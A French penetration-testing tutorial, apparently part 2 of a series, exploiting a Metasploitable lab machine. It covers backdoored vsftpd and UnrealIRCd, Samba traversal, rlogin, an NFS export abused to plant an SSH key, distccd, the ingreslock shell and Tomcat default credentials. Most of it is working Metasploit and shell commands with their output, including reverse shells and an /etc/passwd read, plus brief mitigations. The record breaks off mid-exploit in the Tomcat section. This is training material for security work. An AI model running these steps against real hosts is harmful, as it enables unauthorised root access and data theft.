Test de pénétration part 2 L'exploitation

introduction

Dans ce tutoriel nous allons voir comment nous pouvons exploiter au maximum les information que nous avons récolter au préalable lors de la phase de recherche d'informations.

Pour pouvoir suivre au mieux ce tutoriel il faut avoir lu au préalable la partie 1 de cet article.

Pour tout vous dire la partie sur l'exploitation ne peut être fructueuse uniquement si la recherche au préalable à été juste et précise.

Plaçons d'abord les bases et voyons quels sont les cordes que nous avons à notre arc. Pour cela simple, vous vous souvenez on avait nos scan stoker dans Metasploit. On peut les récupérer pour basé notre exploitation dessus.

msf > db_nmap -p 0-65535 172.16.86.131
...

msf > services

Services
========

host           port   proto  name          state  info
----           ----   -----  ----          -----  ----
172.16.86.131  21     tcp    ftp           open   vsftpd 2.3.4
172.16.86.131  22     tcp    ssh           open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
172.16.86.131  23     tcp    telnet        open   Linux telnetd
172.16.86.131  25     tcp    smtp          open   Postfix smtpd
172.16.86.131  53     tcp    domain        open   ISC BIND 9.4.2
172.16.86.131  80     tcp    http          open   Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.86.131  111    tcp    rpcbind       open   2 RPC #100000
172.16.86.131  139    tcp    netbios-ssn   open   Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.16.86.131  445    tcp    microsoft-ds  open   Samba smbd 3.0.20-Debian workgroup: WORKGROUP
172.16.86.131  512    tcp    exec          open   netkit-rsh rexecd
172.16.86.131  513    tcp    login         open   
172.16.86.131  514    tcp    shell         open   Netkit rshd
172.16.86.131  1099   tcp    rmiregistry   open   Java RMI Registry
172.16.86.131  1524   tcp    ingreslock    open   Metasploitable root shell
172.16.86.131  2049   tcp    nfs           open   2-4 RPC #100003
172.16.86.131  2121   tcp    ccproxy-ftp   open   ProFTPD 1.3.1
172.16.86.131  3306   tcp    mysql         open   MySQL 5.0.51a-3ubuntu5
172.16.86.131  3632   tcp    distccd       open   
172.16.86.131  5432   tcp    postgresql    open   PostgreSQL DB 8.3.0 - 8.3.7
172.16.86.131  5900   tcp    vnc           open   VNC protocol 3.3
172.16.86.131  6000   tcp    x11           open   access denied
172.16.86.131  6667   tcp    irc           open   UnrealIRCd
172.16.86.131  6697   tcp    ircs-u        open   
172.16.86.131  8009   tcp    ajp13         open   Apache Jserv Protocol v1.3
172.16.86.131  8180   tcp    unknown       open   Apache Tomcat/Coyote JSP engine 1.1
172.16.86.131  8787   tcp    msgsrvr       open   
172.16.86.131  48285  tcp                  open   
172.16.86.131  54233  tcp                  open   
172.16.86.131  55304  tcp                  open   
172.16.86.131  60614  tcp                  open   

Donc voici les ports ouvert que l'on a scanner via Metasploit ainsi que les service qui y écoute, leur versions et leur banière.

Nous allons maintenant tenté de compromettre unmaximum de services afin de trouvé le plus de porte d'entré possible. Le but ici est de faire un rapport détaillé de toutes les failles trouvées.

Donc on c'est partie let's go pour la pénétration !!!

Avant de se lancer dans l'exploitation un petit conseil que je souhaite vous donnez. Cela ne sert à rien de fonctionner en mode bourin et faire les exploit les après les autres cela n'a pas de grand intérêt. C'est pourquoi avant chaque exploitation de chaque vulnérabilité j'essai de vous donnez des explication du pourquoi de cette vulnérabilité. Donc essayer surtout de comprendre le raisonnement

Exploitation des différentes failles

Nous allons essayer de balayer l'ensemble des services hébergé sur notre cible. Pour des raisons d'organisation je vais réaliser les exploit dans l'ordre dont il sont présenter dans notre scan.

Vous n'êtes pas obligé de fonctionner ainsi. Lors d'un audit de sécurité il n'y a aucune honte à trouvé une victoire facile et d'exploiter en premier un service que l'on sait déjà exploitable et pénétré le système facilement.

Le service FTP vsftpd

Nous allons donc commencer par le service FTP qui écoute sur le port 21 et dont le deamon est vsftpd version 2.3.4.

Explication sur la faille

On avait déjà parler de cette version de vsftpd dans le premier article sur la recherche de vulnérabilités.

Vous vous souvenez je vous avez dit que cette version de vsftpd avait été compromis par une backdoor introduit par un tiers (inconnue) dans le code de l'application. Si un nom d'utilisateur est envoyé la version backdoored va ouvrir un shell d'écoute sur le port 6200.
Nous pouvons le démontrer avec telnet ou utiliser le module Metasploit vsftpd_234_backdoor et l'exploiter automatiquement:

Maintenant que l'on sais que ce service est exploitable il nous reste plus qu'a le prouver et pour cela rien de mieux qu'un bon vieux POC (Proof Of Concept).

Commençons en nous connectant avec telnet au port 21 puis envoyons lui un nom d'utilisateur et voyons ce que cela produit.

root@shado:~# telnet 172.16.86.131 21
Trying 172.16.86.131...
Connected to 172.16.86.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass
^]
telnet> quit

Maintenant que cela est fait ouvrons un telnet sur le port 6200.

```root@shado:~# telnet 172.16.86.131 6200
Trying 172.16.86.131...
Connected to 172.16.86.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
```

Et voilà le travail on récupère une session telnet connecté en tant que root dans le plus grand des calme sans aucune demande d'authentification.

Essayons donc ça avec Metasploit : Bon maintenant que l'on connais le fonctionnement de metasploit je passe les détails habituel de recherche du module, vérification des options etc...

```
msf > search vsftpd_234_backdoor

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.16.86.131
RHOST => 172.16.86.131

```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 172.16.86.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.16.86.131:21 - USER: 331 Please specify the password.
[+] 172.16.86.131:21 - Backdoor service has been spawned, handling...
[+] 172.16.86.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.16.86.134:41331 -> 172.16.86.131:6200) at 2018-02-02 19:17:26 +0100
id
uid=0(root) gid=0(root)
```

Et hop ouverture d'un shell en root sur le système OKLM.

Mtigation

Le fix de ce problème de sécurité est simple il faut mettre à jour vsftpd pour avoir une version non backdoorer.

Le service SSH

La version du service SSH de notre cible est SSH-2.0-OpenSSH_4.7p1. Cette version est vulnérable au bruteforce car il était indiqué qu'il n'y avait que 65.536 clé ssh possibles à générées, car la seule entropie était le pid du processus pour générer la clé.

Un exploit écrit en perle est disponible à cette adresse

Cependant on ne verra pas tout de suite cette vulnérabilité mais un peu plus ne vous inquiétez pas. J'en aurait besoin pour la combiner avec un autre exploit pour gagner des privilèges.

Mtigation

Le fix de ce problème de sécurité est simple il faut tout simplement mettre à jour OpenSSH.

Le service Telnet port 23

Le protocole telnet ne sera pas exploiter ici car on sais tous que les information transmis par telnet circule en clair sur le réseau donc une simple écoute du réseau avec tcpdum ou wireshark nous permettra de récupéré le mot de passe.

Aller juste pour le fun je lance une session telnet sur la cible et écoute avec wireshark !!!

allez hop !!!

Le service SMTP

Alors la première chose que l’on peut dire c'est que le port STMP si il est pas très bien configurer peut s'avérer particulièrement bavard. On va démontrer cela en passant par telnet quelque commande sur le port 25.

oot@shado:~# telnet 172.16.86.131 25
Trying 172.16.86.131...
Connected to 172.16.86.131.
Escape character is '^]'.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

On execute ensuite la commande suivante pour dire Hello à SMTP et voir et voir ce qu'il nous répond.

ehlo localhost
250-metasploitable.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

SMTP nous répons en envoyant les commandes qui peuvent être passé à SMTP

On observe qu'on peut renseigner pas mal de commande et notamment EXPN et VRFY.

Voyons voir ces deux commandes. Commençons par le premier VRFY que l’on peut passer au serveur SMTP et qui permet de savoir si une adresse mail existe ou non

Rien que ça voyons !!!

VRFY shado
550 5.1.1 <shado>: Recipient address rejected: User unknown in local recipient table

Celle ci nous répond par un User unknown et un joli code 550 qui veut dire en SMTP un email inconnue. Et si on essayait avec l'utilisateur root qui doit forcément éxister.

VRFY root
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
252 2.0.0 root
VRFY metasploit
550 5.1.1 <metasploit>: Recipient address rejected: User unknown in local recipient table
VRFY msfadmin
252 2.0.0 msfadmin
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
VRFY test
550 5.1.1 <test>: Recipient address rejected: User unknown in local recipient table

Et hop le mail root éxiste aisin que msfadmin c'est pas mal non ?

Et si utilisait un outil de kali linux qui permet d'énumérer tout les utilisateurs SMTP existant j'ai nommer smtp-user-enum.

smtp-user-enum -M VRFY -U /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt  -t 172.16.86.131

Exploitation du service DNS bind 9.2.4 port 53

Cette version de Bind 9 est sujet à une vulné&rabilité assez connue dans les implémentations DNS qui permettent l'insertion d'enregistrement DNS dasn le cache du serveur de nom cible.

Cet exploit va mettre empoisoner le cache DNS du serveur de nom cible qui va remplacer le serveur de nom légitime pour le domaine.

Pour le coup ici n'ayant pas de nom de domaine nous ne pouvons pas exploiter cette faille.

Exploitation du service Samba

Le service samba, lorsqu'il est configuré avec un partage de fichiers accessible en écriture et lorsque les "wide links" sont activés (par défaut c'est le cas), ce service peut être utilisé comme porte dérobé (backdoor) de sortes à accéder à des fichiers qui n'étaient pas destinées à être partagées.

Nous allons utiliser un module Metasploit qui donne un accès au système de fichiers root en utilisant une connexion anonyme.

Mais avant cela il va falloir qu'on vérifie si on peut se connecter en tant qu'anonyme.

root@shado:~# smbclient -L //172.16.86.131
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk      
    IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            METASPLOITABLE

Alors on vois que les partage print$, tmp, opt et IPC$ sont accessible par un utilisateur anonyme.

Lors de l'exécution de la commande smbclient -L //172.16.86.131 à la demande du mot de passe taper juste entrer

Maintenant on va exploiter cela avec Metasploit.

msf > search samba_symlink_traversal

Matching Modules
================

   Name                                         Disclosure Date  Rank    Description
   ----                                         ---------------  ----    -----------
   auxiliary/admin/smb/samba_symlink_traversal                   normal  Samba Symlink Directory Traversal

msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(admin/smb/samba_symlink_traversal) > show options

Module options (auxiliary/admin/smb/samba_symlink_traversal):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       The SMB service port (TCP)
   SMBSHARE                    yes       The name of a writeable share on the server
   SMBTARGET  rootfs           yes       The name of the directory that should point to the root filesystem

msf auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 172.16.86.131
RHOST => 172.16.86.131                     
msf auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf auxiliary(admin/smb/samba_symlink_traversal) > 

Et on lance l'exploit !!!

msf auxiliary(admin/smb/samba_symlink_traversal) > exploit

[*] 172.16.86.131:445 - Connecting to the server...
[*] 172.16.86.131:445 - Trying to mount writeable share 'tmp'...
[*] 172.16.86.131:445 - Trying to link 'rootfs' to the root filesystem...
[-] 172.16.86.131:445 - Auxiliary failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_NAME_COLLISION (Command=50 WordCount=0)
[-] 172.16.86.131:445 - Call stack:
[-] 172.16.86.131:445 -   /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:261:in `smb_recv_parse'
[-] 172.16.86.131:445 -   /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1669:in `trans2'
[-] 172.16.86.131:445 -   /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1790:in `symlink'
[-] 172.16.86.131:445 -   /usr/share/metasploit-framework/modules/auxiliary/admin/smb/samba_symlink_traversal.rb:56:in `run'
[*] Auxiliary module execution completed

Fait maintenant il n'y a plus qu'a se mapper sur ce partage.

root@shado:~# smbclient //172.16.86.131/tmp
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.yAuZlI (528,6 KiloBytes/sec) (average 528,6 KiloBytes/sec)

Et voilà nous voici root dans le système grâce à SMB. Bon on a pas vraiment un vrai shell mais c'est déjà ça.

Exploitation des services rhost

Les ports TCP 512, 513, et 514 sont connus comme des services "r".

login est un utilitaire logiciel pour les systèmes d'exploitation de type Unix qui a été distribué pour la première fois dans le cadre de la version 4.2BSD. rlogin permet aux utilisateurs de se connecter sur un autre hôte via un réseau, en utilisant le port TCP 513.

rlogin est également le nom du protocole de couche d'application utilisé par le logiciel, qui fait partie de la suite de protocoles TCP / IP. Les utilisateurs authentifiés peuvent agir comme s'ils étaient physiquement présents sur l'ordinateur.

Nous allons vérifier si les services "r" ont été mal configuré pour permettre l'accès à distance à partir de n'importe quel hôte.

pour exploiter cette mauvaise configuration il nous faut installer le paquet rsh-client. Une fois cela fait si nous arrivons à nous connecter au système nous seront alors certainement root.

root@shado:~# apt install rsh-client 
root@shado:~# rlogin -l root 172.16.86.131
Last login: Fri Feb  2 15:54:14 EST 2018 from 172.16.86.134 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# 

Nous voici donc root sur le système.

Mitigation

Pour mitiger ce trou de sécurité il faut impérativement désactiver tout les services "r" ou dans le pire des cas le configurer de tel sorte que n'importe qui ne soit pas autoriser à se loguer sur la machine via ce service.

Exploiter le service NFS

Le prochain service que nous allons exploiter st le Network File System (NFS). Les NFS peuvent être identifiés en sondant le port 2049 directement ou en demandant le portmapper d'une liste de services.
Ici nous allons utiliser rpcinfo pour identifier NFS et showmount -e afin de déterminer si le point de montage "/" est exporté.
Nous allons pour pouvoir réaliser cela des paquets rpcbind et nfs-common.

Donc allons y.

root@shado:~# apt install rpcbind nfs-common

root@shado:~# rpcinfo -p 172.16.86.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  46176  status
    100024    1   tcp  55304  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  49322  nlockmgr
    100021    3   udp  49322  nlockmgr
    100021    4   udp  49322  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  60614  nlockmgr
    100021    3   tcp  60614  nlockmgr
    100021    4   tcp  60614  nlockmgr
    100005    1   udp  35532  mountd
    100005    1   tcp  48285  mountd
    100005    2   udp  35532  mountd
    100005    2   tcp  48285  mountd
    100005    3   udp  35532  mountd
    100005    3   tcp  48285  mountd

Maintenant allons voir si le point de montage "/" est exporté. pour cela c'est simple on utilise la commande showmount -e

root@shado:~# showmount -e 172.16.86.131
Export list for 172.16.86.131:
/ *

Voilà on voit que le point de montage "/" est bien monté reste plus qu'a trouvé un moyen d'avoir accès à un système possédant un système de fichiers accessible en écriture.

Pour ce faire, nous allons générer une nouvelle clé SSH sur notre système offensif, monter l'export NFS, ajoutez la clé de notre dossier root authorized_keys. Accrocher vous par ce que là ça va être violent de simplicité.

Première étape générer un pair de clé ssh.

root@shado:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/victim_key                              
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/victim_key.
Your public key has been saved in /root/.ssh/victim_key.pub.
The key fingerprint is:
SHA256:zxc/sqbGJlHiU5ynOdXgRjKR/sPNQUi5zUZHYTXtibs root@shado
The key's randomart image is:
+---[RSA 2048]----+
|          .+.o =*|
|          + = + +|
|         o * O.o.|
|        . * *.*..|
|       .S+ O.+.. |
|        +o+ ++o  |
|         +o.o.+  |
|        . +..E . |
|         +.o.    |
+----[SHA256]-----+

Deuxième étape de notre exploitation créer un dossier qui va accueillir le point de montage NFS et y monter la racine de notre cible.

root@shado:~# mkdir /tmp/root_nfs
root@shado:~#  mount -t nfs 172.16.86.131:/ /tmp/root_nfs/

Une fois la racine de notre cible monter sur notre système on peut tout simplement copier notre clé publique dans le fichier authorized_keys de la cible puis démonter le montage.

root@shado:~# cat ~/.ssh/victim_key.pub >> /tmp/root_nfs/root/.ssh/authorized_keys 
root@shado:~# umount /tmp/root_nfs 

Il ne reste plus qu'a nous connecter en tant que root en SSH sur le système de la cible.

root@shado:~# ssh root@172.16.86.131 -i .ssh/victim_key
Last login: Fri Feb  2 15:54:23 2018 from 172.16.86.134
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# 

Nous voici donc root.

Mitigation

Pour résoudre ce problème il faut faire attention à ne pas pas exporter via NFS des répertoire sensible tel la racine ou même d'autre. Il faut aussi éviter les montage de système de fichier via le réseau comme NFS en lecture écriture si le partage avait été en lecture seule il nous aurait été "impossible" d'écrire dans ma clé SSH dans le système.

De plus il faut savoir que lorsqu'un système de fichier est monté en lecture écriture par un hôte distant la seule protection pour les fichiers partagés repose sur leurs autorisations et leur appartenance à un utilisateur et un groupe. Donc des fichiers appartenant à root par exemple seront facilement lisible en local comme ont l'a fait si nous somme localement root étant donné que le UID et GUID de root seront toujours les mêmes sur tout système linux.

root@shado:~#
uid=0(root) gid=0(root) groupes=0(root)

Exploitation du service UnreaIRCD

Sur le port 6667, notre cible exécute UnreaIRCD, un daemon IRC.
Cette version contient un backdoor qui est passé inaperçu pendant plusieurs mois qui déclenchée par l'envoi des lettres "AB" suivis d'un système de commande du serveur sur n'importe quel port d'écoute.
Metasploit possède un module pour exploiter ceci afin d'obtenir un shell interactif.

msf > search unreal_ircd_3281_backdoor

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Configuration et envoie de l'exploit.

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.86.131
RHOST => 172.16.86.131
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 172.16.86.134:4444 
[*] 172.16.86.131:6667 - Connected to 172.16.86.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.86.131:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo riRiyYC6CWRv26GQ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "riRiyYC6CWRv26GQ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.86.134:4444 -> 172.16.86.131:58945) at 2018-02-03 06:53:30 +0100

id
uid=0(root) gid=0(root)

Nous voici donc avec un shell interactif sur notre système cible en root dans le plus grand des calmes.

Mtigation

Le fix de ce problème de sécurité est simple il faut mettre à jour UnreaIRCD pour avoir une version non backdoorer.

Exploitation du service distccd

En plus des backdoor malveillants vu plus haut comme pour vsftpd, certains services sont presque des backdoor par leur nature même.
Le premier d'entre eux est distccd. Ce programme facilite l'emplois de compilateur à grandes échelles sur une batterie de systèmes pré-configurés.
Le problème avec ce service est qu'un attaquant (comme nous) peut facilement en abuser en exécutant une commande , comme on pourra très vite le constater avec le prochain module Metasploit que nous verrons.

msf > search distcc_exec

Matching Modules
================

   Name                           Disclosure Date  Rank       Description
   ----                           ---------------  ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution

msf > use exploit/unix/misc/distcc_exec

Configuration et envoie de l'exploit.

msf > use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(unix/misc/distcc_exec) > set RHOST 172.16.86.131
RHOST => 172.16.86.131
msf exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 172.16.86.134:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo opGNnq57nIJhQ92R;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "opGNnq57nIJhQ92R\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.86.134:4444 -> 172.16.86.131:39117) at 2018-02-03 07:07:31 +0100

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Cette fois si nous avons réussi à ouvrir deux sessions de type shell par contre la mauvaise nouvelle c'est que nous somme identifier en tant que daemon. Qui a des droits dison limiter mais c'est pas grave on verra dans la troisième partie de notre série de tutoriel sur le pentest comment élevé nos privilèges dans ce genre de situation.

Exploitation du service ingres

Ingres est un système de base de données (c'est un peu le papa de postgresql) qui écoute sur le port 1524. Ce port à longtemps été un cible privilégié des attaquant afin de placer de jolie backdoor.

Voyons donc cela.

root@shado:~# telnet 172.16.86.131 1524
Trying 172.16.86.131...
Connected to 172.16.86.131.
Escape character is '^]'.
root@metasploitable:/# 

Exploitation du service Apache Tomcat

Aller un dernier pour la route. Nous allons exploiter le service apache Tomcat via Metasploit. Pour l'exploitation de ce service je vais détailler chaque étape cette exploitation sera donc un peu plus longue que les autres car il se compose de trois phases d'exploitation

Donc c'est parti !

Avec la commande search nous allons chercher les exploit relative au service tomcat

msf > search tomcat
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                         Disclosure Date  Rank       Description
   ----                                                         ---------------  ----       -----------
   auxiliary/admin/http/tomcat_administration                                    normal     Tomcat Administration Tool Default Access
   auxiliary/admin/http/tomcat_utf8_traversal                                    normal     Tomcat UTF-8 Directory Traversal Vulnerability
   auxiliary/admin/http/trendmicro_dlp_traversal                                 normal     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   auxiliary/dos/http/apache_commons_fileupload_dos             2014-02-06       normal     Apache Commons FileUpload and Apache Tomcat DoS
   auxiliary/dos/http/apache_tomcat_transfer_encoding           2010-07-09       normal     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   auxiliary/dos/http/hashcollision_dos                         2011-12-28       normal     Hashtable Collisions
   auxiliary/scanner/http/tomcat_enum                                            normal     Apache Tomcat User Enumeration
   auxiliary/scanner/http/tomcat_mgr_login                                       normal     Tomcat Application Manager Login Utility
   exploit/multi/http/struts_code_exec_classloader              2014-03-06       manual     Apache Struts ClassLoader Manipulation Remote Code Execution
   exploit/multi/http/struts_dev_mode                           2012-01-06       excellent  Apache Struts 2 Developer Mode OGNL Execution
   exploit/multi/http/tomcat_mgr_deploy                         2009-11-09       excellent  Apache Tomcat Manager Application Deployer Authenticated Code Execution
   exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
   exploit/multi/http/zenworks_configuration_management_upload  2015-04-07       excellent  Novell ZENworks Configuration Management Arbitrary File Upload
   post/windows/gather/enum_tomcat                                               normal     Windows Gather Apache Tomcat Enumeration

Nous allons donc essayer d'exploiter l'exploit suivant :

exploit/multi/http/tomcat_mgr_deploy 

Go pour l'exploitation :

Avant toute chose nous allons spécifier le module que l'on utilise ensuite nous allons visualiser les options relative à cet exlploit.

msf > use exploit/multi/http/tomcat_mgr_deploy 
msf exploit(tomcat_mgr_deploy) > show options 
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                          yes       The target address
   RPORT         80               yes       The target port
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

On remarque que pour cette exploit nous avons besoin de deux informations dont on ne dispose pas qui sont le username et le password. Pas de panique ceci n'est pas bien grave un autre exploit existe afin de récupérer ces informations d'identification.

Nous allons donc utiliser l'exploit suivant afin de récuperer les informations de connexion et initialiser une connexion distante avec le serveur :

   msf exploit(tomcat_mgr_deploy) > use auxiliary/admin/http/tomcat_administration

Voyons les options relative à cet exploit

msf auxiliary(tomcat_administration) > show options

Module options (auxiliary/admin/http/tomcat_administration):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target address range or CIDR identifier
   RPORT        8180             yes       The target port
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   THREADS      1                yes       The number of concurrent threads
   TOMCAT_PASS                   no        The password for the specified username
   TOMCAT_USER                   no        The username to authenticate as
   VHOST                         no        HTTP server virtual host

On observe grâce à show options Les options nécessaire pour cet exploit :

msf auxiliary(tomcat_administration) > show options

Module options (auxiliary/admin/http/tomcat_administration):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target address range or CIDR identifier
   RPORT        8180             yes       The target port
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   THREADS      1                yes       The number of concurrent threads
   TOMCAT_PASS                   no        The password for the specified username
   TOMCAT_USER                   no        The username to authenticate as
   VHOST                         no        HTTP server virtual host

Les options

Option Description
RHOSTS Remote Host @IP de la cible
Thread Pour ajuster la rapiditer de l'exploit
msf auxiliary(tomcat_administration) > set RHOSTS 172.16.86.131
RHOSTS => 172.16.86.131
msf auxiliary(tomcat_administration) > set THREADS 5
THREADS => 5

Nous allons donc lancer notre exploit grâce à la commande exploit

msf auxiliary(tomcat_administration) > exploit

[*] http://172.16.86.131:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat_administration) > 

Nous avons récupérer les identifiant de connexion du serveur qui sont tomcat/tomcat :

Maintenant que nous avons les identifiant de connexion reprennons notre premier exploit nous permettant de récupérer un shell sur la machine cible

Procéder habituel ( on a l'habitude maintenant we are a Hack3rs), initialisation de l'exploit et vérification des options.

msf auxiliary(tomcat_administration) > use exploit/multi/http/tomcat_mgr_deploy 
msf exploit(tomcat_mgr_deploy) > show options 

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                          yes       The target address
   RPORT         80               yes       The target port
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Les options dont on aura besoin

Option Description
RHOST Remote Host @IP de la cible
RPORT Remote port (port de connexion au service cible)
HttpPassword Password de l'utilsateur avec lequel on se connecte au serveur tomcat
HttpUsername Utilsateur avec lequel on se connecte au serveur tomcat
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf exploit(tomcat_mgr_deploy) > set RHOST 172.16.86.131
RHOST => 172.16.86.131
msf exploit(tomcat_mgr_deploy) >

Go to exploit

msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 172.16.86.131:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6081 bytes as I8wKApRgIDcRZKsTA.war ...
[*] Executing /I8wKApRgIDcRZKsTA/qYxYTEonE181b9a.jsp...
[*] Undeploying I8wKApRgIDcRZKsTA ...
